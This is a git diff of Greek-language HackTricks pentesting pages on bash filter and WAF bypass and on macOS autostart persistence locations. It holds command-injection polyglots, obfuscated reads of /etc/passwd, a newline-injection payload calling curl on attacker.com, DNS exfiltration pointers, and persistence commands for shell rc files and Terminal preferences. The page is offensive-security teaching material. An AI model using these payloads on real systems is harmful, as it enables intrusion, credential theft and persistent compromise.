<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο **προηγμένα εργαλεία κοινότητας** στον κόσμο.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -126,7 +127,7 @@ g # These 4 lines will equal to ping
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
### Αναστροφή και κάθετο πέρασμα
### Παράκαμψη ανάστροφης και κάθετης γραμμής
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
@ -135,7 +136,7 @@ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```
### Παράκαμψη με κωδικοποίηση hex
### Παράκαμψη με κωδικοποίηση σε hex
```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
@ -161,11 +162,11 @@ echo ${PATH:0:1} #/
```
### Διαρροή δεδομένων DNS
Μπορείτε να χρησιμοποιήσετε το **burpcollab** ή το [**pingb**](http://pingb.in) για παράδειγμα.
Θα μπορούσατε να χρησιμοποιήσετε το **burpcollab** ή το [**pingb**](http://pingb.in) για παράδειγμα.
### Ενσωματωμένες εντολές
Σε περίπτωση που δεν μπορείτε να εκτελέσετε εξωτερικές λειτουργίες και έχετε πρόσβαση μόνο σε ένα **περιορισμένο σύνολο ενσωματωμένων για να λάβετε RCE**, υπάρχουν μερικά χρήσιμα κόλπα για να το κάνετε. Συνήθως **δεν θα μπορείτε να χρησιμοποιήσετε όλες** τις **ενσωματωμένες**, οπότε θα πρέπει **να γνωρίζετε όλες τις επιλογές** σας για να προσπαθήσετε να παρακάμψετε τη φυλακή. Ιδέα από το [**devploit**](https://twitter.com/devploit).\
Σε περίπτωση που δεν μπορείτε να εκτελέσετε εξωτερικές λειτουργίες και έχετε πρόσβαση μόνο σε ένα **περιορισμένο σύνολο ενσωματωμένων για την επίτευξη RCE**, υπάρχουν μερικά χρήσιμα κόλπα για να το κάνετε. Συνήθως **δεν θα μπορείτε να χρησιμοποιήσετε όλα** τα **ενσωματωμένα**, οπότε θα πρέπει **να γνωρίζετε όλες τις επιλογές** σας για να προσπαθήσετε να παρακάμψετε τη φυλακή. Ιδέα από το [**devploit**](https://twitter.com/devploit).\
Καταρχάς ελέγξτε όλες τις [**ενσωματωμένες εντολές κελύφους**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Έπειτα εδώ έχετε μερικές **συστάσεις**:
```bash
# Get list of builtins
@ -223,7 +224,7 @@ if [ "a" ]; then echo 1; fi # Will print hello!
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Αναστροφή πιθανών regexes
### Παράκαμψη πιθανών regexes
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
@ -315,15 +316,15 @@ ln /f*
'sh x'
'sh g'
```
## Παράκαμψη Περιορισμών Bash σε Λειτουργίες Μόνο για Ανάγνωση/Χωρίς Εκτέλεση/Distroless
## Διέλευση Περιορισμών Ανάγνωσης-Εκτέλεσης/Χωρίς Διανομή
Αν βρίσκεστε μέσα σε ένα σύστημα αρχείων με τις προστασίες **μόνο για ανάγνωση και χωρίς εκτέλεση** ή ακόμη και σε ένα διαμέρισμα distroless, υπάρχουν ακόμη τρόποι για **εκτέλεση αυθαίρετων δυαδικών αρχείων, ακόμη και ενός κελύφους!**
Αν βρίσκεστε μέσα σε ένα σύστημα αρχείων με τις προστασίες **μόνο για ανάγνωση και μη εκτέλεση** ή ακόμη και σε ένα δοχείο χωρίς διανομή, υπάρχουν ακόμη τρόποι για να **εκτελέσετε αυθαίρετα δυαδικά αρχεία, ακόμη και ένα κέλυφος:**
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
{% endcontent-ref %}
## Παράκαμψη Chroot & Άλλων Φυλακών
## Διέλευση Chroot & Άλλων Φυλακών
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
@ -336,24 +337,25 @@ ln /f*
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο **προηγμένα εργαλεία** της κοινότητας.\
Αποκτήστε Πρόσβαση Σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκινγκ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,60 +1,61 @@
# Αυτόματη εκκίνηση στο macOS
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ κάνοντας υποβολή PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
</details>
{% endhint %}
Αυτή η ενότητα βασίζεται σε μεγάλο βαθμό στη σειρά άρθρων του ιστολογίου [**Πέρα από τα καλά LaunchAgents**](https://theevilbit.github.io/beyond/), με στόχο την προσθήκη **περισσότερων τοποθεσιών αυτόματης εκκίνησης** (εάν είναι δυνατό), την επισήμανση **ποιες τεχνικές λειτουργούν ακόμα** σήμερα με την τελευταία έκδοση του macOS (13.4) και την καθορισμό των **δικαιωμάτων** που απαιτούνται.
Αυτή η ενότητα βασίζεται σε μεγάλο βαθμό στη σειρά άρθρων του ιστολογίου [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), με στόχο να προστεθούν **περισσότερες τοποθεσίες αυτόματης εκκίνησης** (εάν είναι δυνατόν), να υποδειχθεί **ποιες τεχνικές λειτουργούν ακόμα** σήμερα με την τελευταία έκδοση του macOS (13.4) και να καθοριστούν οι **άδειες που απαιτούνται**.
## Παράκαμψη Αμμοθερμοκρασίας
## Παράκαμψη Αμμοθερμικού Περιβάλλοντος
{% hint style="success" %}
Εδώ μπορείτε να βρείτε τοποθεσίες εκκίνησης χρήσιμες για τη **παράκαμψη της αμμοθερμοκρασίας** που σας επιτρέπει να απλά εκτελέσετε κάτι με το **να το γράψετε σε ένα αρχείο** και να **περιμένετε** για μια πολύ **συνηθισμένη** **ενέργεια**, ένα προκαθορισμένο **ποσό χρόνου** ή μια **ενέργεια που μπορείτε συνήθως να εκτελέσετε** από μέσα σε μια αμμοθερμοκρασία χωρίς την ανάγκη ριζικών δικαιωμάτων.
Εδώ μπορείτε να βρείτε τοποθεσίες εκκίνησης χρήσιμες για τη **παράκαμψη του αμμοθερμικού περιβάλλοντος** που σας επιτρέπει να απλά εκτελέσετε κάτι **γράφοντάς το σε ένα αρχείο** και **περιμένοντας** για μια πολύ **συνηθισμένη ενέργεια**, ένα συγκεκριμένο **χρονικό διάστημα** ή μια **ενέργεια που μπορείτε συνήθως να εκτελέσετε** από μέσα σε ένα αμμοθερμικό περιβάλλον χωρίς την ανάγκη ριζικών δικαιωμάτων.
{% endhint %}
### Launchd
* Χρήσιμο για παράκαμψη αμμοθερμοκρασίας: [](https://emojipedia.org/check-mark-button)
* Χρήσιμο για παράκαμψη αμμοθερμικού περιβάλλοντος: [](https://emojipedia.org/check-mark-button)
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Τοποθεσίες
* **`/Library/LaunchAgents`**
* **Ενεργοποίηση**: Επανεκκίνηση
* Απαιτούνται ρίζια δικαιώματα
* Απαιτούνται ριζικά δικαιώματα
* **`/Library/LaunchDaemons`**
* **Ενεργοποίηση**: Επανεκκίνηση
* Απαιτούνται ρίζια δικαιώματα
* Απαιτούνται ριζικά δικαιώματα
* **`/System/Library/LaunchAgents`**
* **Ενεργοποίηση**: Επανεκκίνηση
* Απαιτούνται ρίζια δικαιώματα
* Απαιτούνται ριζικά δικαιώματα
* **`/System/Library/LaunchDaemons`**
* **Ενεργοποίηση**: Επανεκκίνηση
* Απαιτούνται ρίζια δικαιώματα
* Απαιτούνται ριζικά δικαιώματα
* **`~/Library/LaunchAgents`**
* **Ενεργοποίηση**: Επανασύνδεση
* **`~/Library/LaunchDemons`**
* **Ενεργοποίηση**: Επανασύνδεση
{% hint style="success" %}
Ως ενδιαφέρουσα πληροφορία, το **`launchd`** έχει ένα ενσωματωμένο αρχείο ιδιοτήτων στην ενότητα Mach-o `__Text.__config` που περιέχει άλλες γνωστές υπηρεσίες που το `launchd` πρέπει να εκκινήσει. Επιπλέον, αυτές οι υπηρεσίες μπορεί να περιέχουν τα `RequireSuccess`, `RequireRun` και `RebootOnSuccess` που σημαίνει ότι πρέπει να εκτελεστούν και να ολοκληρωθούν με επιτυχία.
Ως ενδιαφέρουσα πληροφορία, το **`launchd`** έχει ένα ενσωματωμένο αρχείο ιδιοτήτων στην ενότητα Mach-o `__Text.__config` που περιέχει άλλες γνωστές υπηρεσίες που το **`launchd`** πρέπει να εκκινήσει. Επιπλέον, αυτές οι υπηρεσίες μπορεί να περιέχουν τα `RequireSuccess`, `RequireRun` και `RebootOnSuccess` που σημαίνει ότι πρέπει να εκτελεστούν και να ολοκληρωθούν με επιτυχία.
Φυσικά, δεν μπορεί να τροποποιηθεί λόγω της υπογραφής κώδικα.
{% endhint %}
#### Περιγραφή & Εκμετάλλευση
Το **`launchd`** είναι η **πρώτη** **διαδικασία** που εκτελείται από τον πυρήνα του macOS κατά την εκκίνηση και η τελευταία που ολοκληρώνεται κατά τον τερματισμό. Πρέπει πάντα να έχει το **PID 1**. Αυτή η διαδικασία θα **διαβάσει και θα εκτελέσει** τις ρυθμίσεις που υποδεικνύονται στα **ASEP** **plists** σε:
Το **`launchd`** είναι η **πρώτη** **διαδικασία** που εκτελείται από τον πυρήνα του macOS κατά την εκκίνηση και η τελευταία που ολοκληρώνεται κατά τον αποκλεισμό. Πρέπει πάντα να έχει το **PID 1**. Αυτή η διαδικασία θα **διαβάσει και θα εκτελέσει** τις ρυθμίσεις που υποδεικνύονται στα **ASEP** **plists** στις παρακάτω τοποθεσίες:
* `/Library/LaunchAgents`: Πράκτορες ανά χρήστη εγκατεστημένοι από τον διαχειριστή
* `/Library/LaunchDaemons`: Δαίμονες παγκόσμιας εμβέλειας εγκατεστημένοι από τον διαχειριστή
@ -86,21 +87,21 @@
</dict>
</plist>
```
Υπάρχουν περιπτώσεις όπου ένα **agent πρέπει να εκτελεστεί πριν ο χρήστης συνδεθεί**, αυτά ονομάζονται **PreLoginAgents**. Για παράδειγμα, αυτό είναι χρήσιμο για την παροχή τεχνολογίας υποστήριξης κατά τη σύνδεση. Μπορούν επίσης να βρεθούν στο `/Library/LaunchAgents` (δείτε [**εδώ**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) ένα παράδειγμα).
Υπάρχουν περιπτώσεις όπου ένας **πράκτορας πρέπει να εκτελεστεί πριν ο χρήστης συνδεθεί**, αυτοί ονομάζονται **PreLoginAgents**. Για παράδειγμα, αυτό είναι χρήσιμο για την παροχή τεχνολογίας υποστήριξης κατά τη σύνδεση. Μπορούν επίσης να βρεθούν στο `/Library/LaunchAgents` (δείτε [**εδώ**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) ένα παράδειγμα).
{% hint style="info" %}
Τα νέα αρχεία ρύθμισης Δαίμονων ή Agents θα φορτωθούν **μετά την επόμενη επανεκκίνηση ή χρησιμοποιώντας** `launchctl load <target.plist>` Είναι **επίσης δυνατό να φορτώσετε αρχεία .plist χωρίς αυτήν την επέκταση** με την εντολή `launchctl -F <file>` (ωστόσο αυτά τα αρχεία plist δεν θα φορτωθούν αυτόματα μετά την επανεκκίνηση).\
Είναι επίσης δυνατό να **απενεργοποιήσετε** με την εντολή `launchctl unload <target.plist>` (η διαδικασία που αναφέρεται θα τερματιστεί),
Τα νέα αρχεία ρύθμισης Δαίμονων ή Πρακτόρων θα φορτωθούν μετά την επόμενη επανεκκίνηση ή χρησιμοποιώντας την εντολή `launchctl load <target.plist>`. Είναι **επίσης δυνατόν να φορτώσετε αρχεία .plist χωρίς αυτήν την επέκταση** με την εντολή `launchctl -F <file>` (ωστόσο αυτά τα αρχεία plist δεν θα φορτωθούν αυτόματα μετά την επανεκκίνηση).\
Είναι επίσης δυνατόν να **απενεργοποιήσετε** με την εντολή `launchctl unload <target.plist>` (η διαδικασία που δείχνει θα τερματιστεί).
Για να **διασφαλίσετε** ότι δεν υπάρχει **τίποτα** (όπως μια παράκαμψη) **που εμποδίζει έναν** **Agent** ή **Daemon** **από το να** **εκτελεστεί** εκτελέστε: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
Για να **διασφαλίσετε** ότι δεν υπάρχει **τίποτα** (όπως μια παράκαμψη) **που εμποδίζει** έναν **Πράκτορα** ή **Δαίμονα** **από το να εκτελεστεί**, εκτελέστε: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
{% endhint %}
Καταγράψτε όλους τους agents και daemons που έχουν φορτωθεί από τον τρέχοντα χρήστη:
Καταγράψτε όλους τους πράκτορες και δαίμονες που έχουν φορτωθεί από τον τρέχοντα χρήστη:
```bash
launchctl list
```
{% hint style="warning" %}
Αν ένα αρχείο plist ανήκει σε έναν χρήστη, ακόμα κι αν βρίσκεται σε φακέλους συστήματος daemon, η εργασία θα εκτελεστεί ως ο χρήστης και όχι ως root. Αυτό μπορεί να αποτρέψει ορισμένες επιθέσεις εξάρτησης δικαιωμάτων.
Αν ένα plist ανήκει σε έναν χρήστη, ακόμα κι αν βρίσκεται σε φακέλους συστήματος daemon, η εργασία θα εκτελεστεί ως ο χρήστης και όχι ως root. Αυτό μπορεί να αποτρέψει ορισμένες επιθέσεις εξάρτησης δικαιωμάτων.
{% endhint %}
#### Περισσότερες πληροφορίες σχετικά με το launchd
@ -137,26 +138,26 @@ launchctl list
#### Τοποθεσίες
* **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`**
* **Ενεργοποίηση**: Άνοιγμα ενός τερματικού με zsh
* **Ενέργεια εκκίνησης**: Άνοιγμα ενός τερματικού με zsh
* **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
* **Ενεργοποίηση**: Άνοιγμα ενός τερματικού με zsh
* **Ενέργεια εκκίνησης**: Άνοιγμα ενός τερματικού με zsh
* Απαιτείται root
* **`~/.zlogout`**
* **Ενεργοποίηση**: Έξοδος από ένα τερματικό με zsh
* **Ενέργεια εκκίνησης**: Έξοδος από ένα τερματικό με zsh
* **`/etc/zlogout`**
* **Ενεργοποίηση**: Έξοδος από ένα τερματικό με zsh
* **Ενέργεια εκκίνησης**: Έξοδος από ένα τερματικό με zsh
* Απαιτείται root
* Πιθανώς περισσότερα στο: **`man zsh`**
* **`~/.bashrc`**
* **Ενεργοποίηση**: Άνοιγμα ενός τερματικού με bash
* **Ενέργεια εκκίνησης**: Άνοιγμα ενός τερματικού με bash
* `/etc/profile` (δεν λειτούργησε)
* `~/.profile` (δεν λειτούργησε)
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
* **Ενεργοποίηση**: Αναμένεται να ενεργοποιηθεί με xterm, αλλά **δεν είναι εγκατεστημένο** και ακόμα και μετά την εγκατάσταση εμφανίζεται αυτό το σφάλμα: xterm: `DISPLAY is not set`
* **Ενέργεια εκκίνησης**: Αναμένεται να ενεργοποιηθεί με xterm, αλλά **δεν είναι εγκατεστημένο** και ακόμα και μετά την εγκατάσταση εμφανίζεται αυτό το σφάλμα: xterm: `DISPLAY is not set`
#### Περιγραφή & Εκμετάλλευση
Κατά την εκκίνηση ενός περιβάλλοντος κελύφους όπως το `zsh` ή το `bash`, **εκτελούνται συγκεκριμένα αρχεία εκκίνησης**. Η macOS χρησιμοποιεί αυτήν τη στιγμή το `/bin/zsh` ως το προεπιλεγμένο κέλυφος. Αυτό το κέλυφος προσπελαύνεται αυτόματα όταν εκκινείται η εφαρμογή Terminal ή όταν ένα συσκευή προσπελαύνεται μέσω SSH. Ενώ τα `bash` και `sh` είναι επίσης παρόντα στη macOS, πρέπει να κληθούν ρητά για να χρησιμοποιηθούν.
Κατά την εκκίνηση ενός περιβάλλοντος κελύφους όπως το `zsh` ή το `bash`, **τρέχονται συγκεκριμένα αρχεία εκκίνησης**. Η macOS χρησιμοποιεί αυτήν τη στιγμή το `/bin/zsh` ως το προεπιλεγμένο κέλυφος. Αυτό το κέλυφος προσπελαύνεται αυτόματα όταν εκκινείται η εφαρμογή Terminal ή όταν ένα συσκευή προσπελαύνεται μέσω SSH. Ενώ τα `bash` και `sh` είναι επίσης παρόντα στη macOS, πρέπει να κληθούν ρητά για να χρησιμοποιηθούν.
Η σελίδα εγχειριδίου του zsh, την οποία μπορούμε να διαβάσουμε με **`man zsh`**, έχει μια μακρά περιγραφή των αρχείων εκκίνησης.
```bash
@ -166,7 +167,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
### Επανεκκινούμενες Εφαρμογές
{% hint style="danger" %}
Η ρύθμιση της ενδεικτικής εκμετάλλευσης και η αποσύνδεση και επανασύνδεση ή ακόμη και η επανεκκίνηση δεν λειτούργησαν για μένα για να εκτελέσω την εφαρμογή. (Η εφαρμογή δεν εκτελείτο, ίσως χρειάζεται να εκτελείται όταν πραγματοποιούνται αυτές οι ενέργειες)
Η ρύθμιση της ενδεικτικής εκμετάλλευσης και η αποσύνδεση και επανασύνδεση ή ακόμη και η επανεκκίνηση δεν λειτούργησαν για μένα για να εκτελέσω την εφαρμογή. (Η εφαρμογή δεν εκτελείται, ίσως χρειάζεται να εκτελείται όταν πραγματοποιούνται αυτές οι ενέργειες)
{% endhint %}
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
@ -185,9 +186,9 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
Έτσι, για να κάνετε τις επανεκκινούμενες εφαρμογές να εκκινούν τη δική σας, απλά χρειάζεται να **προσθέσετε την εφαρμογή σας στη λίστα**.
Το UUID μπορεί να βρεθεί με τη λίστα του φακέλου αυτού ή με την εντολή `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
Το UUID μπορεί να βρεθεί αναφέροντας αυτό τον κατάλογο ή με την εντολή `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
Για να ελέγξετε τις εφαρμογές που θα επανανοιχτούν, μπορείτε να κάνετε:
Για να ελέγξετε τις εφαρμογές που θα επανανοιχτούν μπορείτε να κάνετε:
```bash
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
@ -205,9 +206,9 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
```
### Προτιμήσεις Τερματικού
* Χρήσιμο για παράκαμψη της αμμόλοφης: [](https://emojipedia.org/check-mark-button)
* Παράκαμψη TCC: [](https://emojipedia.org/check-mark-button)
* Χρήση του Τερματικού για την έκδοση δικαιώματων FDA του χρήστη που το χρησιμοποιεί
* Χρήσιμο για παράκαμψη αμμοθού: [](https://emojipedia.org/check-mark-button)
* TCC παράκαμψη: [](https://emojipedia.org/check-mark-button)
* Χρήση τερματικού για άδειες FDA του χρήστη που το χρησιμοποιεί
#### Τοποθεσία
@ -222,7 +223,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
<figure><img src="../.gitbook/assets/image (1148).png" alt="" width="495"><figcaption></figcaption></figure>
Αυτή η ρύθμιση αντανακλάται στο αρχείο **`~/Library/Preferences/com.apple.Terminal.plist`** ως εξής:
Αυτή η ρύθμιση αντανακλάται στο αρχείο **`~/Library/Preferences/com.apple.Terminal.plist`** όπως εξής:
```bash
[...]
"Window Settings" => {
@ -240,7 +241,9 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
```
Έτσι, αν το plist των προτιμήσεων του τερματικού στο σύστημα μπορεί να αντικατασταθεί, τότε η λειτουργία **`open`** μπορεί να χρησιμοποιηθεί για **να ανοίξει το τερματικό και να εκτελεστεί εκείνη η εντολή**.
Μπορείτε να το προσθέσετε από το cli με:
Μπορείτε να το προσθέσετε από το command line με:
{% code overflow="wrap" %}
```bash
# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
@ -362,7 +365,7 @@ open /tmp/test.terminal
#### Τοποθεσία
* Χρειάζεται να μπορείτε να εκτελέσετε κάτι σαν `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
